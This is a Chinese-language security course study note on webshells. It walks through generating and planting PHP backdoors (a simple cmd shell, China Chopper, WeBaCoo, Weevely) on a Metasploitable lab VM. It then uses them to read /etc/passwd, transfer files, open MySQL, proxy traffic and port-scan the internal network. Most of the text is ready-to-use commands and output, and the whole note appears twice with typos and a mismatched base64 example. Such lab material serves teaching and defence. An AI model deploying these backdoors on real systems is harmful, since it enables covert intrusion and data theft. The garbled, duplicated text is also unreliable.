【安全牛学习笔记】WEBSHELL
| WEBSHELL
中国菜刀: http://www.maicaidao.co/
可能被IDS、AV、WAF、扫描器软件发现查杀 WeBaCoo（WEB backdoor Cookie） 类终端的shell 编码通信内容通过cookie头传输，隐蔽性较强 cm:base64编码的命令 cn:服务器用于返回数据的cookie头的名 cp:返回信息定界符 |
webshell
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境，也可以将其称做为一种网页后门。黑客在入侵了一个网站后，通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起，然后就可以使用浏览器来访问asp或者php后门，得到一个命令执行环境，以达到控制网站服务器的目的。
顾名思义，“web”的含义是显然需要服务器开放web服务，“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现，也有人称之为网站的后门工具。
root@K:~# ssh [email protected]
root@K:~# vi a.php
msfadmin@metasploit:~# sudo cp a.php /var/www/
[sudo] password for msfadmin:
msfadmin@metasploit:~# ls /var/www/
1.php dav index.php phpMyAdmin test tikiwiki-old
a.php dvwa muillidae phpinfo.php tikiwiki twiki
http://192.168.1.115
http://192.168.1.115/a.php?cmd=id
http://192.168.1.115/a.php?cmd=pwd
msfadmin@metasploit:~# vi caidao.php
中国菜刀工具
http://192.168.1.115/caidao.php chopper
php utf8
msfadmin@metasploit:~# ls
a.php caidao.php mysqlaccess.log vnlnerable
msfadmin@metasploit:~# sudo cp caidao.php /var/www/
[var/www]$ netstat -an | grep BETABLISHED
tcp 0 210 192.168.1.115:80 192.168.1.122:49245 BETABLISHED
tcp6 0 0 192.168.1.115:22 192.168.1.119:38900 BETABLISHED
udp 0 0 127.0.0.1:47869 127.0.0.1:47869 BETABLISHED
[var/www]$ id
uid=33(www-data) gid=33)(www-data) group=33(www-data
[var/www]$ pwd
/var/www
[var/www]$ cat /etc
| WEBSHELL 生成服务端 webacoo -g -o a.php 客户端连接 webacoo -f u http://1.1.1.1/a.php 其他参数 |
-----------------------------------------------------------------------
[课外拓展]
WeBaCoo (Web Backdoor Cookie) script-kit是一个小巧的、隐蔽的php后门，它提供了一个可以连接远程web服务器并执行php代码的终端。WeBaCoo使用HTTP响应头传送命令结果，shell命令经base64编码后隐藏在Cookie头中。
官方介绍：
Since 0.2.1 version an extension module support has been added in orderto provide extra functionalities to WeBaCoo. Within terminal mode youcan execute ‘load’ to list the available modules and initialize the desiredone from the list. By typing ‘unload’ you can restore back to the initialterminal mode.
Available extension modules:
o mysql-cli MySQL command line module
o psql-cli Postgres command line module
o upload File upload module using HTTP Post
o download File download module using stdout print via ‘od’ & ‘xxd’
o stealth Increase stealth module via .htaccess handling
也是利用COOKIES传输
获得代码
root@Dis9Team:/pen/door# git clone git://github.com/anestisb/WeBaCoo.git
安装模块
root@Dis9Team:/pen/door/WeBaCoo# apt-get install liburi-perl libio-socket-socks-perl
测试一下：
root@Dis9Team:/pen/door/WeBaCoo# ./webacoo.pl
WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | [email protected] | http(s)://bechtsoudis.com }
root@Dis9Team:/pen/door/WeBaCoo#
生成一个后门
上传
root@Dis9Team:/pen/door/WeBaCoo# ./webacoo.pl -g -o backdoor.php
WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | [email protected] | http(s)://bechtsoudis.com }
[+] Backdoor file "backdoor.php" created.
root@Dis9Team:/pen/door/WeBaCoo# cat backdoor.php
root@Dis9Team:/pen/door/WeBaCoo#
连接
root@Dis9Team:/pen/door/WeBaCoo# ./webacoo.pl -t -u http://5.5.5.2/door3.php
WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | [email protected] | http(s)://bechtsoudis.com }
[+] Connecting to remote server as...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Type 'load' to use an extension module.
[*] Type ':' to run local OS commands.
[*] Type 'exit' to quit terminal.
webacoo$ pwd
/var/www
webacoo$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
webacoo$
查看模块
webacoo$ load
Currently available extension modules:
o MySQL-CLI: MySQL Command Line Module
mysql-cli (ex. 'mysql-cli 10.0.1.11 admin pAsS')
o PSQL-CLI: Postgres Command Line Module
psql-cli (ex. 'psql-cli 10.0.1.12 testDB root pAsS')
o Upload: File Upload Module
upload (ex. 'upload exploit.c /tmp/')
o Download: File Download Module
download (ex. 'download config.php')
o Stealth: Enhance Stealth Module
stealth (ex. 'stealth /var/www/html')
[*] Type the module name with the correct args.
>
连接Mysql
他给出了帮助信息 例如连接Mysql
o MySQL-CLI: MySQL Command Line Module
mysql-cli (ex. 'mysql-cli 10.0.1.11 admin pAsS')
测试一下
> mysql-cli 127.0.0.1 root 123456
[+] mysql-cli module successfully loaded.
[*] Type 'unload' to unload the module and return to the original cmd.
mysql-cli> show databases;
Database
information_schema
mysql
mysql-cli>
其他模块
都是一样的操作
上传文件 upload 本地文件地址 远程文件地址
下载文件 download 远程文件地址
----------------------------------------------------------------------------------------
root@K:~# webacoo -g -o a.php
root@K:~# webacoo -g -o a.php webacoo.php
root@K:~# scp webacoo.php [email protected]:/home/msfadmin
[email protected]'s password:
msfadmin@metasploitable:~$ ls
a.php caidao.php mysqlaccess.log vulnerable webacoo.php
msfadmin@metasploitable:~$ sudo cp webacoo.php /var/www/
msfadmin@metasploitable:~$ ls /var/www/
1.php dav muilidae test twiki
a.php dvwa phpMyAdmin tikiwiki webacoo.php
caidao.php index.php phpinfo.php tikiwiki-old
msfadmin@metasploitable:~$ webacoo -t -u http://192.168.1.115/webacoo.php
WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | [email protected] | http(s)://bechtsoudis.com }
[+] Connecting to remote server as...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Type 'load' to use an extension module.
[*] Type ':' to run local OS commands.
[*] Type 'exit' to quit terminal.
root@K:~# echo Y2FOIC9IdGMvcGFzc3dk | base64 -d
cat /etc/passwd
root@K:~# webacoo -h
WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | [email protected] | http(s)://bechtsoudis.com }
Usage: webacoo.pl [options]
Options:
-g Generate backdoor code (-o is required)
-f FUNCTION PHP System function to use
FUNCTION
1: system (default)
2: shell_exec
3: exec
4: passthru
5: popen
-o OUTPUT Generated backdoor output filename
-r Return un-obfuscated backdoor code
-t Establish remote "terminal" connection (-u is required)
-u URL Backdoor URL
-e CMD Single command execution mode (-t and -u are required)
-m METHOD HTTP method to be used (default is GET)
-c C_NAME Cookie name (default: "M-cookie")
-d DELIM Delimiter (default: New random for each request)
-a AGENT HTTP header user-agent (default exist)
-p PROXY Use proxy (tor, ip:port or user:pass:ip:port)
-v LEVEL Verbose level
LEVEL
0: no additional info (default)
1: print HTTP headers
2: print HTTP headers + data
-l LOG Log activity to file
-h Display help and exit
update Check for updates and apply if any
root@K:~# webacoo update
| WEBSHELL Weevely 隐蔽的类终端PHP Webshell 30多个管理模块 执行系统命令、浏览文件系统 检查服务器常见配置错误 创建正向、反向TCP Shell连接 通过目标计算机代理 HTTP 流量 从目标计算机运行端口扫描，渗透内网 支持连接密码 |
| WEBSHELL Kali缺少库 https://pypi.python.org/pypi/PySocks/ ./setup.py install 生成服务端 weevely generate /usr/share/weevely/b.php 客户端连接服务器 weevely http://1.1.1.1/b.php Help |
手动下载安装PySocks
root@K:~/Downloads/PySocks-1.5.0# ./setup.py install
root@K:~# weevely
root@K:~# weeve generate pass123 wee.php
root@K:~# ls
root@K:~# cd /usr/share/weevely/
root@K:usr/share/weevely# ls
root@K:usr/share/weevely# cat wee.php
root@K:usr/share/weevely# scp wee.php [email protected]:/home/msfadmin
[email protected]'s password:
msfadmin@metasploitable:~$ ls
a.php caidao.php mysqlaccess.log vulnerbale webacoo.php wee.php
msfadmin@metasploitable:~$ sudo cp wee.php /var/www/
[sudo] password for msfadmin:
root@K:usr/share/weevely# weely http://192.168.1.115/wee.php pass123
[+] weevely 3.2.0
[+] Target: 192.168.1.115
[+] Session: /root/.weevely/sessions/192.168.1.115/wee_O.session
[+] Browse the filesystem or execute commands starts the connection
[+] to the target.Tyepe :help for meor information.
weevely> cat /etc/passwd
[email protected]:/var/www $ help
[email protected]:/var/www $ audit_suidsgid
[email protected]:/var/www $ audit_fiesystem
[email protected]:/var/www $ audit_phpconf
[email protected]:/var/www $ system_info
[email protected]:/var/www $ cd /
[email protected]:/ $ net_proxy
root@K:~# netstat -pantu | grep :8080
tcp 0 0 127.0.0.1:8080 0.0.0.0* LISTEN 6306/python
打开浏览器，代理设置成burpsuite
[email protected]:/ $ net_scan
[email protected]:/ $ net_scan 192.168.1.1 80-80
| WEBSHELL
中国菜刀: http://www.maicaidao.co/
可能被IDS、AV、WAF、扫描器软件发现查杀 WeBaCoo（WEB backdoor Cookie） 类终端的shell 编码通信内容通过cookie头传输，隐蔽性较强 cm:base64编码的命令 cn:服务器用于返回数据的cookie头的名 cp:返回信息定界符 |
webshell
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境，也可以将其称做为一种网页后门。黑客在入侵了一个网站后，通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起，然后就可以使用浏览器来访问asp或者php后门，得到一个命令执行环境，以达到控制网站服务器的目的。
顾名思义，“web”的含义是显然需要服务器开放web服务，“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现，也有人称之为网站的后门工具。
root@K:~# ssh [email protected]
root@K:~# vi a.php
msfadmin@metasploit:~# sudo cp a.php /var/www/
[sudo] password for msfadmin:
msfadmin@metasploit:~# ls /var/www/
1.php dav index.php phpMyAdmin test tikiwiki-old
a.php dvwa muillidae phpinfo.php tikiwiki twiki
http://192.168.1.115
http://192.168.1.115/a.php?cmd=id
http://192.168.1.115/a.php?cmd=pwd
msfadmin@metasploit:~# vi caidao.php
中国菜刀工具
http://192.168.1.115/caidao.php chopper
php utf8
msfadmin@metasploit:~# ls
a.php caidao.php mysqlaccess.log vnlnerable
msfadmin@metasploit:~# sudo cp caidao.php /var/www/
[var/www]$ netstat -an | grep BETABLISHED
tcp 0 210 192.168.1.115:80 192.168.1.122:49245 BETABLISHED
tcp6 0 0 192.168.1.115:22 192.168.1.119:38900 BETABLISHED
udp 0 0 127.0.0.1:47869 127.0.0.1:47869 BETABLISHED
[var/www]$ id
uid=33(www-data) gid=33)(www-data) group=33(www-data
[var/www]$ pwd
/var/www
[var/www]$ cat /etc
| WEBSHELL 生成服务端 webacoo -g -o a.php 客户端连接 webacoo -f u http://1.1.1.1/a.php 其他参数 |
-----------------------------------------------------------------------
[课外拓展]
WeBaCoo (Web Backdoor Cookie) script-kit是一个小巧的、隐蔽的php后门，它提供了一个可以连接远程web服务器并执行php代码的终端。WeBaCoo使用HTTP响应头传送命令结果，shell命令经base64编码后隐藏在Cookie头中。
官方介绍：
Since 0.2.1 version an extension module support has been added in orderto provide extra functionalities to WeBaCoo. Within terminal mode youcan execute ‘load’ to list the available modules and initialize the desiredone from the list. By typing ‘unload’ you can restore back to the initialterminal mode.
Available extension modules:
o mysql-cli MySQL command line module
o psql-cli Postgres command line module
o upload File upload module using HTTP Post
o download File download module using stdout print via ‘od’ & ‘xxd’
o stealth Increase stealth module via .htaccess handling
也是利用COOKIES传输
获得代码
root@Dis9Team:/pen/door# git clone git://github.com/anestisb/WeBaCoo.git
安装模块
root@Dis9Team:/pen/door/WeBaCoo# apt-get install liburi-perl libio-socket-socks-perl
测试一下：
root@Dis9Team:/pen/door/WeBaCoo# ./webacoo.pl
WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | [email protected] | http(s)://bechtsoudis.com }
root@Dis9Team:/pen/door/WeBaCoo#
生成一个后门
上传
root@Dis9Team:/pen/door/WeBaCoo# ./webacoo.pl -g -o backdoor.php
WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | [email protected] | http(s)://bechtsoudis.com }
[+] Backdoor file "backdoor.php" created.
root@Dis9Team:/pen/door/WeBaCoo# cat backdoor.php
root@Dis9Team:/pen/door/WeBaCoo#
连接
root@Dis9Team:/pen/door/WeBaCoo# ./webacoo.pl -t -u http://5.5.5.2/door3.php
WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | [email protected] | http(s)://bechtsoudis.com }
[+] Connecting to remote server as...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Type 'load' to use an extension module.
[*] Type ':' to run local OS commands.
[*] Type 'exit' to quit terminal.
webacoo$ pwd
/var/www
webacoo$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
webacoo$
查看模块
webacoo$ load
Currently available extension modules:
o MySQL-CLI: MySQL Command Line Module
mysql-cli (ex. 'mysql-cli 10.0.1.11 admin pAsS')
o PSQL-CLI: Postgres Command Line Module
psql-cli (ex. 'psql-cli 10.0.1.12 testDB root pAsS')
o Upload: File Upload Module
upload (ex. 'upload exploit.c /tmp/')
o Download: File Download Module
download (ex. 'download config.php')
o Stealth: Enhance Stealth Module
stealth (ex. 'stealth /var/www/html')
[*] Type the module name with the correct args.
>
连接Mysql
他给出了帮助信息 例如连接Mysql
o MySQL-CLI: MySQL Command Line Module
mysql-cli (ex. 'mysql-cli 10.0.1.11 admin pAsS')
测试一下
> mysql-cli 127.0.0.1 root 123456
[+] mysql-cli module successfully loaded.
[*] Type 'unload' to unload the module and return to the original cmd.
mysql-cli> show databases;
Database
information_schema
mysql
mysql-cli>
其他模块
都是一样的操作
上传文件 upload 本地文件地址 远程文件地址
下载文件 download 远程文件地址
----------------------------------------------------------------------------------------
root@K:~# webacoo -g -o a.php
root@K:~# webacoo -g -o a.php webacoo.php
root@K:~# scp webacoo.php [email protected]:/home/msfadmin
[email protected]'s password:
msfadmin@metasploitable:~$ ls
a.php caidao.php mysqlaccess.log vulnerable webacoo.php
msfadmin@metasploitable:~$ sudo cp webacoo.php /var/www/
msfadmin@metasploitable:~$ ls /var/www/
1.php dav muilidae test twiki
a.php dvwa phpMyAdmin tikiwiki webacoo.php
caidao.php index.php phpinfo.php tikiwiki-old
msfadmin@metasploitable:~$ webacoo -t -u http://192.168.1.115/webacoo.php
WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | [email protected] | http(s)://bechtsoudis.com }
[+] Connecting to remote server as...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Type 'load' to use an extension module.
[*] Type ':' to run local OS commands.
[*] Type 'exit' to quit terminal.
root@K:~# echo Y2FOIC9IdGMvcGFzc3dk | base64 -d
cat /etc/passwd
root@K:~# webacoo -h
WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | [email protected] | http(s)://bechtsoudis.com }
Usage: webacoo.pl [options]
Options:
-g Generate backdoor code (-o is required)
-f FUNCTION PHP System function to use
FUNCTION
1: system (default)
2: shell_exec
3: exec
4: passthru
5: popen
-o OUTPUT Generated backdoor output filename
-r Return un-obfuscated backdoor code
-t Establish remote "terminal" connection (-u is required)
-u URL Backdoor URL
-e CMD Single command execution mode (-t and -u are required)
-m METHOD HTTP method to be used (default is GET)
-c C_NAME Cookie name (default: "M-cookie")
-d DELIM Delimiter (default: New random for each request)
-a AGENT HTTP header user-agent (default exist)
-p PROXY Use proxy (tor, ip:port or user:pass:ip:port)
-v LEVEL Verbose level
LEVEL
0: no additional info (default)
1: print HTTP headers
2: print HTTP headers + data
-l LOG Log activity to file
-h Display help and exit
update Check for updates and apply if any
root@K:~# webacoo update
| WEBSHELL Weevely 隐蔽的类终端PHP Webshell 30多个管理模块 执行系统命令、浏览文件系统 检查服务器常见配置错误 创建正向、反向TCP Shell连接 通过目标计算机代理 HTTP 流量 从目标计算机运行端口扫描，渗透内网 支持连接密码 |
| WEBSHELL Kali缺少库 https://pypi.python.org/pypi/PySocks/ ./setup.py install 生成服务端 weevely generate /usr/share/weevely/b.php 客户端连接服务器 weevely http://1.1.1.1/b.php Help |
手动下载安装PySocks
root@K:~/Downloads/PySocks-1.5.0# ./setup.py install
root@K:~# weevely
root@K:~# weeve generate pass123 wee.php
root@K:~# ls
root@K:~# cd /usr/share/weevely/
root@K:usr/share/weevely# ls
root@K:usr/share/weevely# cat wee.php
root@K:usr/share/weevely# scp wee.php [email protected]:/home/msfadmin
[email protected]'s password:
msfadmin@metasploitable:~$ ls
a.php caidao.php mysqlaccess.log vulnerbale webacoo.php wee.php
msfadmin@metasploitable:~$ sudo cp wee.php /var/www/
[sudo] password for msfadmin:
root@K:usr/share/weevely# weely http://192.168.1.115/wee.php pass123
[+] weevely 3.2.0
[+] Target: 192.168.1.115
[+] Session: /root/.weevely/sessions/192.168.1.115/wee_O.session
[+] Browse the filesystem or execute commands starts the connection
[+] to the target.Tyepe :help for meor information.
weevely> cat /etc/passwd
[email protected]:/var/www $ help
[email protected]:/var/www $ audit_suidsgid
[email protected]:/var/www $ audit_fiesystem
[email protected]:/var/www $ audit_phpconf
[email protected]:/var/www $ system_info
[email protected]:/var/www $ cd /
[email protected]:/ $ net_proxy
root@K:~# netstat -pantu | grep :8080
tcp 0 0 127.0.0.1:8080 0.0.0.0* LISTEN 6306/python
打开浏览器，代理设置成burpsuite
[email protected]:/ $ net_scan
[email protected]:/ $ net_scan 192.168.1.1 80-80